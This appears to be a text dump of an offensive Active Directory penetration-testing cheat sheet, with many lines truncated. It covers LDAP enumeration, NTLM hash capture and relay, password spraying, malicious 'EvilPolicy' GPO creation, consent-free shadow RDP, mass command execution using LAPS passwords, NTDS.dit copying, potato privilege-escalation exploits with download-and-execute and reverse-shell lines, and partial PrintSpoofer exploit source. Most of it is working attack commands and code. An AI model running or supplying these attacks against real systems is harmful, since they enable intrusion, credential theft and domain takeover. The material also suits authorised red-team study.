2003/cc772839(v=ws.10)?redirectedfrom=MSDN

[Link]

Theory
Some Extensible Match Matching Rules:

Rule Name OID Description

True if all bits from the attribute


LDAP_MATCHING_RULE_BIT 1.2.840.113556.1.4.803
match the value (bitwise AND)
_AND

LDAP_MATCHING_RULE_BIT_OR True if any bits from the attribut


1.2.840.113556.1.4.804
match the value (bitwise OR).

Used to provide a method to


1.2.840.113556.1.4.194 look up the ancestry of an obje
LDAP_MATCHING_RULE_IN_
1
CHAIN and is is limited to filters that
l t th DN

UserAccountControl

[Link]

Decode UAC Values

[Link]

DecodeUserAccountControl.ps1
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
$UACPropertyFlags = @(
"SCRIPT",
"ACCOUNTDISABLE",
"RESERVED",
"HOMEDIR_REQUIRED",
"LOCKOUT",
"PASSWD_NOTREQD",
"PASSWD_CANT_CHANGE",
"ENCRYPTED_TEXT_PWD_ALLOWED",
"TEMP_DUPLICATE_ACCOUNT",
"NORMAL_ACCOUNT",
"RESERVED",
"INTERDOMAIN_TRUST_ACCOUNT",
"WORKSTATION_TRUST_ACCOUNT",
"SERVER_TRUST_ACCOUNT",
"RESERVED",
"RESERVED",
"DONT_EXPIRE_PASSWORD",
"MNS_LOGON_ACCOUNT",
"SMARTCARD_REQUIRED",
"TRUSTED_FOR_DELEGATION",
"NOT_DELEGATED",
"USE_DES_KEY_ONLY",
"DONT_REQ_PREAUTH",
"PASSWORD_EXPIRED",
"TRUSTED_TO_AUTH_FOR_DELEGATION",
"RESERVED",
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"

"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($[Link]) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-
Return $Attributes
}

Mitigations

[Link]

Scan for LDAP Singing and LDAP Channel Binding:

$ python3 [Link] -method BOTH -dc-ip [Link] -u snovvcrash -p 'Passw0rd!'

LDAP Signing & LDAP Channel Binding

[Link]

Property Name Property Path

HKLM\System\CurrentControlSet\Servi
LdapServerIntegrity
ces\NTDS\Parameters\

HKLM\System\CurrentControlSet\Servi
LdapEnforceChannelBinding
ces\NTDS\Parameters\

If LdapServerIntegrity is set to 2 , LDAP Signing is required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapSer

If LdapEnforceChannelBinding is set to 2 , LDAP Channel Binding is always required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnf

Tools

RSAT-AD-PowerShell

Install via Capabilities (Windows clients) or via Features (Windows servers):


# Servers
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
# Clients
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "[Link]-LD

Install via ADModule:

[Link]

[Link]

PS > IEX(IWR "[Link]


PS > Import-ActiveDirectory
Or
PS > IEX(IWR "[Link]

Example Queries

List disabled users (when searching for users use objectCategory + objectClass filters):

PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl

Count users, groups and computers:

PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count


PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure)
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count

List users with DoesNotRequirePreAuth set (aka asreproastable):

PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth

List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:

PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Pro


Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalNa

List all groups that [Link] is a member of:

PS > Get-ADPrincipalGroupMembership [Link] | select name


List all groups (including nested groups) that j doe is a member of:

PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,D


Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,O

List members of IT Support group through nested group membership:

PS > Get-ADGroupMember "IT Support" -Recursive

List users marked as trusted for delegation ( TRUSTED_FOR_DELEGATION UAC value is 524288 ):

PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountNam


Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Propertie

Find the number of users in the Helpdesk OU:

PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName


PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubT

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all
groups that they are members of (including nested groups):

PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and

Find users with description field filled:

PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select s

Find users with a null password ( PASSWD_NOTREQD UAC value is 32 ):

PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1

Create a new domain user account:

PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=loc

List deleted AD objects (AD recycle bin):

PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDelete
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -Include

ldap3 (Python)
Check if anonymous bind is allowed:

>>> from ldap3 import Server, Connection, ALL


>>> s = Server('[Link]', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> [Link]()
>>> print([Link])

ldap-utils

ldapsearch

[Link]

Install:

$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y

Basic syntax:

$ ldapsearch -h [Link] -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]

Get base naming contexts:

$ ldapsearch -h [Link] -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h [Link] -x -s sub -b "DC=megacorp,DC=local" | tee [Link]


$ cat [Link] | grep -i memberof

Or filter out only what you need:

$ ldapsearch -h [Link] -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectCla

Get Remote Management Users group:

$ ldapsearch -h [Link] -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management User

Dump LAPS passwords:

$ ldapsearch -h [Link] -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd


Simple authentication with a plaintext password:

$ ldapsearch -H ldap://[Link]:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w

SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this
to work):

$ [Link] [Link]/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/[Link]
$ ldapsearch -H ldap://[Link] -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | te

Analyze large output for anomalies by searching for unique strings:

$ cat [Link] | awk '{print $1}' | sort | uniq -c | sort -nr

ldapmodify

An example of removing SPNs and changing dNSHostName (see dNSHostName Spoofing):

$ ldapmodify -H ldap://[Link] -Y GSSAPI -f [Link]


$ ldapsearch -H ldap://[Link] -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCateg

[Link]
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: [Link]

windapsearch

[Link]
[Link]

Enumerate domain function functional level with LDAP anonymous bind:

$ python3 [Link] --dc-ip [Link] -d [Link] -u '' --functionality

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

$ python3 [Link] --dc-ip [Link] -d [Link] -u 'MEGACORP\snovvcrash' -p


Find what OU is the user John Doe part of:

$ python3 [Link] --dc-ip [Link] -d [Link] -u 'MEGACORP\snovvcrash' -p

Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into
a csv file:

$ python3 [Link] --dc-ip [Link] -d [Link] -u 'MEGACORP\snovvcrash' -p

go-windapsearch

[Link]

Find user accounts which require smart card authentication ( SMARTCARD_REQUIRED UAC value is
262144 ):

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m custom --fi

Get password history size in the domain:

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m custom --fi

Search for service accounts configured for constrained delegation:

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m computers -

Dump all users info:

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m users --ful

ldapsearch-ad

[Link]

Enumerate password policy in the domain:

$ python3 [Link] -l [Link] -d [Link] -u [Link] -p 'Passw0rd!' -t pass-p

Run all checks:

$ python3 [Link] -l [Link] -d [Link] -u [Link] -p 'Passw0rd!' -t all


gMSADumper

[Link]

$ python3 [Link] -d [Link] -l [Link] -u snovvcrash -p 'Passw0rd!'


$ python3 [Link] -d [Link] -l [Link] -u snovvcrash -p fc525c9683e8f

ldeep

[Link]

Enumerate ACEs of the AdminSDHolder object:

$ ldeep ldap -s 'ldap://[Link]' -d [Link] -u snovvcrash -p 'Passw0rd!' -b 'CN=Sy

Convert SID to name:

$ ldeep ldap -s 'ldap://[Link]' -d [Link] -u snovvcrash -p 'Passw0rd!' from_sid

Nmap NSE

$ nmap -n -Pn -sV --script ldap-rootdse [Link] -p389


$ nmap -n -Pn -sV --script ldap-search [Link] -p389
$ nmap -n -Pn -sV --script ldap-brute [Link] -p389

LDAPmonitor

[Link]

$ ./[Link] -d [Link] -u snovvcrash -p 'Passw0rd!' --dc-ip [Link]

BOFHound

[Link]
game

[Link]
[Link]
NTLM
NT / LM Hashes

[Link]

Calculate NTLM

[Link]

With Python:

>>> import hashlib


>>> [Link]('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()

Responder Capture Structure

[Link]
[Link]#L149

[Link]
[Link]

Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

[SMB] NTLMv2-SSP Hash capture structure:

<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

Capture NTLM on Windows

[Link]
[Link]
[Link]

DivertTCPconn

[Link]

Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port
(meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:

$ sudo ./[Link] -I eth0 -Av


meterpreter > portfwd add -R -L [Link] -l 445 -p 8445
meterpreter > execute -f [Link] -a "445 8445"

StreamDivert

[Link]

Divert all inbound TCP connections to port 445 (SMB) coming from [Link] to [Link] port 445:

Cmd > powershell -c "Add-Content [Link] 'tcp < 445 [Link] -> [Link] 445'"
Cmd > .\[Link] .\[Link] -f -v

NTLM Relay

[Link]
[Link]
[Link]
[Link]

[Link]
everywhere/
[Link]

[Link]
[Link]
[Link]
[Link]
[Link]
for-fun-and-profit/

[Link]
[Link]

[Link]
[Link]
[Link]
[Link]

Lateral Movement using Credentials Relaying (taso_x).pdf 2MB


PDF

Generate relay list with cme and enumerate local admins when relaying:

$ cme smb [Link]/24 --gen-relay-list [Link]


$ sudo [Link] -smb2support --no-http-server -tf [Link] --enum-local-admins -of net-ntl

Relay & catch hashes (via multi-relay):

$ sudo [Link] -smb2support -port 8445 share `pwd`


$ sudo [Link] -smb2support --no-http-server --no-wcf-server -tf [Link]
$ cat [Link]
smb://[Link]
smb://[Link]:8445

Relay NTLM2 responses obtained from Responder's proxy authentication (Responder's HTTP must be
Off ):
$ [Link] -tf [Link] -smb2support --no-wcf-server -wh [Link] --http-port 3128
$ sudo ./[Link] -I eth0 -frd -v -P

CVE-2019-1040-scanner

[Link]

$ python [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link]


$ python [Link] -target-file [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link]

Relaying on Windows

meterpreter + SharpRelay

[Link]
[Link]

Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session
and relay it to Target via MSF SOCKS server.

1. Add a static route to the Target through the 1st meterpreter session:

meterpreter > route add [Link]/32 1

2. Start MSF SOCKS server:

msf > use auxiliary/server/socks_proxy


msf auxiliary(server/socks_proxy) > set SRVHOST [Link]
msf auxiliary(server/socks_proxy) > run -j

3. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB
traffic on Victim to Victim's local 8445 port:

meterpreter > portfwd add -R -L [Link] -l 445 -p 8445


meterpreter > cd C:\\Windows\\System32\\drivers
meterpreter > upload /home/snovvcrash/www/[Link]
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf
msf post(windows/manage/execute_dotnet_assembly)
post(windows/manage/execute_dotnet_assembly) >
> set
set DOTNET_EXE /home/snovvcrash/www/SharpRe
ARGUMENTS relaysvc "C:\Windows\System32
msf post(windows/manage/execute_dotnet_assembly) > run

4. Relay the diverted traffic to Target through SOCKS:

$ sudo proxychains4 -q [Link] -t smb://[Link] -smb2support

When ran once, the driver must be unloaded or the host rebooted before trying again. The fake
service can be deleted with a PowerShell command:

PS > ([Link] stop relaysvc) -and ([Link] delete relaysvc)

beacon + PortBender

[Link]
[Link]

Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:

beacon> socks 1080


beacon> rportfwd 8445 [Link] 445
beacon> cd C:\Windows\System32\drivers
beacon> upload /home/snovvcrash/www/[Link]
beacon> PortBender redirect 445 8445

Relay the planet:

$ sudo proxychains4 -q [Link] -t smb://[Link] -smb2support --no-http-server --no-

Stop PortBender:

beacon> jobs
beacon> jobkill <JID>
beacon> kill <PID>

NTLMv1 Downgrade

[Link]

Client sends NTLMv1 response when LmCompatibilityLevel exists and is 2 or lower, which can be
downgraded to "NTLMv1 w/o SSP" when NtlmMinClientSec is 0x20 or lower:
Property Name Property Path

HKLM\SYSTEM\CurrentControlSet\Contr
LmCompatibilityLevel
ol\Lsa

HKLM\SYSTEM\CurrentControlSet\Contr
NtlmMinClientSec
ol\Lsa\MSV1_0

Check
Check with PowerShell:

PS > (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name LmCompatibilityLevel)


2
PS > $decValue = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ -Name Nt
PS > $hexValue = "0x" + [string]::Format("{0:x}", $decValue)
PS > $hexValue
0x20

Check with Seatbelt (example):

Cmd > .\[Link] NTLMSettings

Exploit

Authentication Coercion

Exploit with Responder with a known challenge of 1122334455667788 (see Authentication Coercion
to trigger callbacks):

$ sudo ./[Link] -I eth0 -v --lm --disable-ess

ntlmv1-multi + [Link]

[Link]
[Link]
[Link]

[Link]

Calculate the token:

$ python [Link] --ntlmv1 '<NTLMv1_RESPONSE_STRING>'

Check the final 2 bytes (4 characters) of the NT hash:

$ ~/tools/hashcat-utils/src/ct3_to_ntlm.bin <CT3> 1122334455667788

Password Spraying

Password Policy
Enumerate password policy in the domain:

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' --pass-pol


Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess

Example of net accounts output:

Name (EN) Name (RU) Value

Минимальный срок действия


Minimum password age (days): 1
пароля (дней):

Максимальный срок действия


Maximum password age (days): 90
пароля (дней):

Minimum password length: Минимальная длина пароля: 10

Length of password history Хранение неповторяющихся


24
maintained: паролей:

Блокировка после ошибок


Lockout threshold: 7
ввода пароля:

Длительность блокировки
Lockout duration (minutes): 30
(минут):

Lockout observation window Сброс счетчика блокировок


30
(minutes): через (минут):
Fine-Grained Password Policies

[Link]

[Link]

Map FGPPs to the users they're being applied to (need admin privileges by default):

ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {


$appliesTo = $fgpp | select -ExpandProperty AppliesTo
$objectClass = (Get-ADObject $appliesTo).ObjectClass

Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $[Link]"


$fgpp | Out-Host

If ($objectClass -eq "group") {


Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -Expa
}
ElseIf ($objectClass -eq "user") {
Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -Foreground
}
}

When it's critical not to cause a lockout on a user account with a FGPP applied, the safest
approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO
properties populated (can be read by a regular user) from the spray list.
Check if exists:

PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied


PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Get Domain Users

Non-Authenticated (Null Session)

[Link]

RID Cycling

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ( $IPC share):

CrackMapExec:

$ cme smb [Link] -u '' -p ''


$ cme smb [Link] -u '' -p '' --users
$ cme smb [Link] -u '' -p '' --groups

rpcclient:

$ rpcclient -N -U '' [Link]


rpcclient $> enumdomusers
rpcclient $> enumdomgroups

net:

$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '[Link]' -U '%'

smbclient (check):

$ smbclient -N -U '' -L [Link]

enum4linux / enum4linux-ng:

$ enum4linux -v -a [Link] | tee ~/ws/log/[Link]

nullinux:

$ [Link] [Link]

Authenticated

Query LDAP for all domain user accounts via [Link]:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip [Link] | tee ~/ws/logs/GetAD

Query LDAP for all domain user accounts via windapsearch:

$ python3 [Link] --dc-ip [Link] -d [Link] -u 'MEGACORP\snovvcrash' -p


$ cat ~/ws/logs/[Link] | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMai
Query LDAP for all active domain user accounts via go-windapsearch:

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m custom --fi


$ cat ~/ws/logs/[Link] | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMai

MSF

msf > use auxiliary/scanner/smb/smb_login


msf > set RHOSTS <DC_IP>
msf > set SMBDomain [Link]
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/[Link]
msf > set VERBOSE False
msf > run

kerbrute

[Link]
[Link]
[Link]

Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't
cause accounts lock out):

$ kerbrute userenum -d [Link] -o ~/ws/logs/[Link] ~/ws/enum/[Link]


$ cat ~/ws/logs/[Link] | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' >

Perform password spraying for discovered accounts:

$ kerbrute -v --delay 100 passwordspray -d [Link] -o ~/ws/logs/kerbrute-passwordspray-


$ cat ~/ws/logs/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/cred

pyKerbrute

[Link]
$ python2 ADPwdSpray py 192 168 1 11 megacorp local users txt ntlmhash fc525c9683e8fe067095ba2

smartbrute

[Link]

Spray single hash against a list of users:

$ smartbrute -v brute --delay 100 --no-enumeration -bU [Link] -bh <HASH_TO_SPRAY> kerberos

Get domain password policy and active users:

$ smartbrute -v smart {--policy|--users} ntlm -d [Link] -u snovvcrash -p 'Passw0rd!' -

Launch smart password spray with a hash:

$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d [Link] -u snovvcrash -p

DomainPasswordSpray

[Link]

PS > Invoke-DomainPasswordSpray -UserList .\[Link] -Domain [Link] -Password 'Pa

Post Exploitation
Post Exploitation in Active Directory

GPOs
Identify the OU containing the VICTIM-PC object:

PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"


PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName

Create a GPO using GPMC:


1. Run > [Link] .

2. Create a new GPO in the OU in which VICTIM-PC resides.

3. Remove Authenticated Users from Security Filtering and add VICTIM-PC there.

4. Link it to the OU and edit it.

Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:

Cmd > [Link] /force

Enable RDP

<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely using Remote Desktop Services
Enabled, OK

Allow RDP Connections

<POLICY_NAME>
Computer Configuration
Policies
Windows Settings
Security Settings
Windows Defender Firewall with Advanced Security
Inbound Rules
(right-click) New Rule
Predefined (Remote Desktop)
Allow the connection, Finish

Edit Local Administrators Membership

<POLICY_NAME>
Computer Configuration
Preferences
Control Panel Settings
Local Users and Groups
(right-click) New > Local Group
Group name (...)
Members (Add), OK
Apply, OK

Enable Shadow RDP

<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Set rules for remote control of Terminal Services user sessions
Enabled + Options (Full Control without user's permission), OK

Immediate Scheduled Task

<POLICY_NAME>

Computer Configuration
Policies
Preferences
Control Panel Settings
Scheduled Tasks
(right-click) New > Immediate Task (At least Windows 7)

Reach a Locked-down Domain Computer

How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios

If you find yourself in a situation when you're already a domain admin and you need to access a locked-
down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil
GPO may help.

Create a GPO using PowerShell (will trigger a command when the victim user logs in):

PS > Add-WindowsFeature -Name "GPMC"


PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain [Link] -Server [Link]
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users"
PS > New-GPLink -Name EvilPolicy -Domain [Link] -Target "<TARGET_OU>" -Order 1 -Enforc
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\C

Shadow RDP

[Link]

[Link]

[Link]

Enable Shadow RDP via group policies and connect to an active session on the target machine:

Cmd > [Link] /server:[Link]


Cmd > [Link] /v:[Link] /shadow:<ID> /noConsentPrompt

Run on Domain Computers

How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios

An example PowerShell script to execute commands as a local admin on all domain computers pulling
LAPS passwords automatically:

ADComputersCmd.ps1
# Save with Encoding "UTF-8 with BOM"

[[Link]]::OutputEncoding = [[Link]]::UTF8
$ErrorActionPreference = "Stop"

$command = '[[Link]]::OutputEncoding = [[Link]]::UTF8; '


$command += 'whoami > C:\Windows\Temp\[Link] 2>&1'
$bytes = [[Link]]::[Link]($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$_.name -ne $(hostname)} | select name


$comp = $_."name"
$pass = $_."ms-Mcs-AdmPwd"

if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {


try {
$cred = New-Object [Link]("$comp\ad
$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("po

do {
Write-Host -ForegroundColor Green "[*] Waiting for script to f
Start-Sleep -Seconds 2
} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc

net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null


Get-Content "\\$comp\C$\Windows\Temp\[Link]"
Remove-Item "\\$comp\C$\Windows\Temp\[Link]" -Force
net use "\\$comp" /delete 2>&1 | Out-Null
}
catch {
Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
}
}
else {
Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
}
}

PrivExchange
CVE-2019-0686, CVE-2019-0724

[Link]
[Link]
Check:

$ sudo ./[Link] -I eth0 -Av


$ python [Link] -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah [Link] --attacker-p

Exploit:

$ sudo [Link] -t ldap://[Link] --escalate-user snovvcrash


$ python [Link] -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah [Link] [Link]

Privileges Abuse

[Link]
escalation/
[Link]

[Link]

SeBackupPrivilege

Search for SeBackupPrivilege through GPO policies:

$ gci -Path \\$ENV:USERDNSDOMAIN\sysvol\$ENV:USERDNSDOMAIN\Policies\ -Recurse -File -ErrorAct

SeBackupPrivilege

[Link]
[Link]

wget [Link]
wget [Link]

upload [Link]
upload [Link]
Import-Module .\[Link]
Import-Module .\[Link]
Copy-FileSeBackupPrivilege W:\Windows\NTDS\[Link] C:\Users\snovvcrash\Documents\[Link] -Ov
download [Link]
robocopy

[Link]

PS > cmd /c where robocopy


PS > robocopy /B W:\Windows\NTDS\[Link] C:\Users\snovvcrash\Documents\[Link]

SeImpersonatePrivilege

Restore Privileges

[Link]

Potatoes

[Link]
[Link]

RottenPotato

[Link]
system/

[Link]

$ curl -L [Link] > [Link]


meterpreter > upload [Link]
meterpreter > load incognito
meterpreter > execute -cH -f [Link]
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
LonelyPotato
[Link]
[Link]

JuicyPotato

[Link]

[Link]

[Link]

[Link]

$ curl -L [Link] > [Link]


...Using pwsh reverse shell...
$ curl -L [Link]
Cmd > certutil -urlcache -split -f [Link] C:\Windows\System32\spool\drivers\
Cmd > echo cmd /c powershell -exec bypass -nop -c "IEX(New-Object [Link]).DownloadStrin
Cmd > .\[Link] -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp

...Using [Link]...
Cmd > .\[Link] -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp

RoguePotato

[Link]
[Link]

Redirect traffic that comes to 135 port on Attacker ( [Link] ) with socat back to the Victim
( [Link] ) on port 9999 (RogueOxidResolver is running locally on port 9999 on Victim):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:[Link]:9999

Trigger the potato to run a binary with high privileges (don't forget to start a listener if sending a reverse
shell):

Cmd > .\[Link] -r [Link] -e "C:\windows\Temp\[Link] [Link] 443 -e cmd" -l 9


RemotePotato0
[Link]
vulnerability-in-windows-rpc-protocol/

[Link]

Get session ID of the user to pwn:

Cmd > query user


Cmd > quser

Hashes collector (modes 2, 3):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:[Link]:9998


Cmd > .\[Link] -m 2 -x [Link] -p 9998 -s 5

Cross-protocol relay (modes 0, 1):

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:[Link]:9998


$ sudo [Link] -t ldap://[Link] --no-smb-server --no-wcf-server --no-raw-server --
Cmd > .\[Link] -m 0 -r [Link] -x [Link] -p 9998 -s 5

Combining with ESC8:

$ sudo [Link] -t [Link] --no-smb-server --no-w


Cmd > .\[Link] -m 0 -r [Link] -x [Link] -p 9998 -s 5 -c "{f8842f8e-dafe-4
Cmd > .\[Link] asktgt /user:snovvcrash /domain:[Link] /dc:[Link] /cert

GenericPotato

[Link]
[Link]

EfsPotato

[Link]
Tools
SweetPotato

[Link]

Cmd > .\[Link] -p C:\Windows\System32\WindowsPowerShell\v1.0\[Link] -a "-w hi

MultiPotato

[Link]

PrintSpoofer

[Link]
[Link]
[Link]
BadPotato.ps1

Check if Print Spooler service is running:

PS > Get-Service Spooler

Status Name DisplayName


------ ---- -----------
Running Spooler Print Spooler

Exploit:

PS > . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Users\snovvcrash\music\[Link]"

C# Implementation

[Link]

[Link]
[Link]

[Link]
73e6ed/SharpNamedPipePTH/[Link]
[Link]

Cmd > \[Link] \\.\pipe\test\pipe\spoolss cmd -i


Cmd > .\[Link] srv01 srv01/pipe/test
Or
Cmd > .\[Link] \\srv01 \\srv01/pipe/test

[*] Named pipe \\.\pipe\test\pipe\spoolss listening...


[+] A client connected!
[+] Token impersonated!
| SID: S-1-5-18
\_ Name: NT AUTHORITY\SYSTEM
[*] Executing command: cmd

[Link]
using System;
using [Link];
using [Link];
using [Link];

namespace SharpPrintSpoofer
{
class Program
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}

[StructLayout([Link])]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout([Link], CharSet = [Link])]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;

public IntPtr hStdOutput;


public IntPtr hStdError;
}

public struct TOKEN_USER


{
public SID_AND_ATTRIBUTES User;
}

[StructLayout([Link])]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}

[DllImport("[Link]")]
static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSe

